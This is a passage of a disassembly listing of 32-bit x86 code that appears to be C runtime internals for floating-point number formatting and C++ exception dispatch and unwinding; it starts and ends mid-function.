lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE5C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE58
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D088
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE5C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE5C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE60
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE58
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D088
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE5C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE58, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE60, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE58
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE60, ecx
setl cl
mov byte_4DBE64, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE60, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE5C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE5C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE5C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE5C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE68
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE6C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE70, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; ___:004229F3p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
sub_4229B1 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: ___:00422A1Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: ___:00422A14p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE68
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE6C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE68, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE6C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: ___:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: ___:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AEA: ; DATA XREF: ___:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE68, eax
mov eax, [ebp-20h]
mov dword_4DBE6C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
